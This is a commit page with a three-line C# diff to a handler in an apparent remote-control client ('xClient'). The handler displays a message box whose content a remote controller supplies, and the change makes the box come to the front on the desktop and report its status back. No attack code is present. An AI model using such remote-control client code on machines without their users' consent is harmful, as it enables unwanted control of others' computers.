DialogBox fix

Fixes showing the messagebox and sending it to the front as the active window
This commit is contained in:
d3agle 2015-08-20 03:51:19 -05:00
parent eca75b3a5f
commit fb1d27002b
1 changed files with 3 additions and 2 deletions

View File

@ -150,9 +150,10 @@ namespace xClient.Core.Commands
{
new Thread(() =>
{
MessageBox.Show(null, command.Text, command.Caption,
MessageBox.Show(command.Text, command.Caption,
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton),
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon),
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
}).Start();
new Packets.ClientPackets.SetStatus("Showed Messagebox").Execute(client);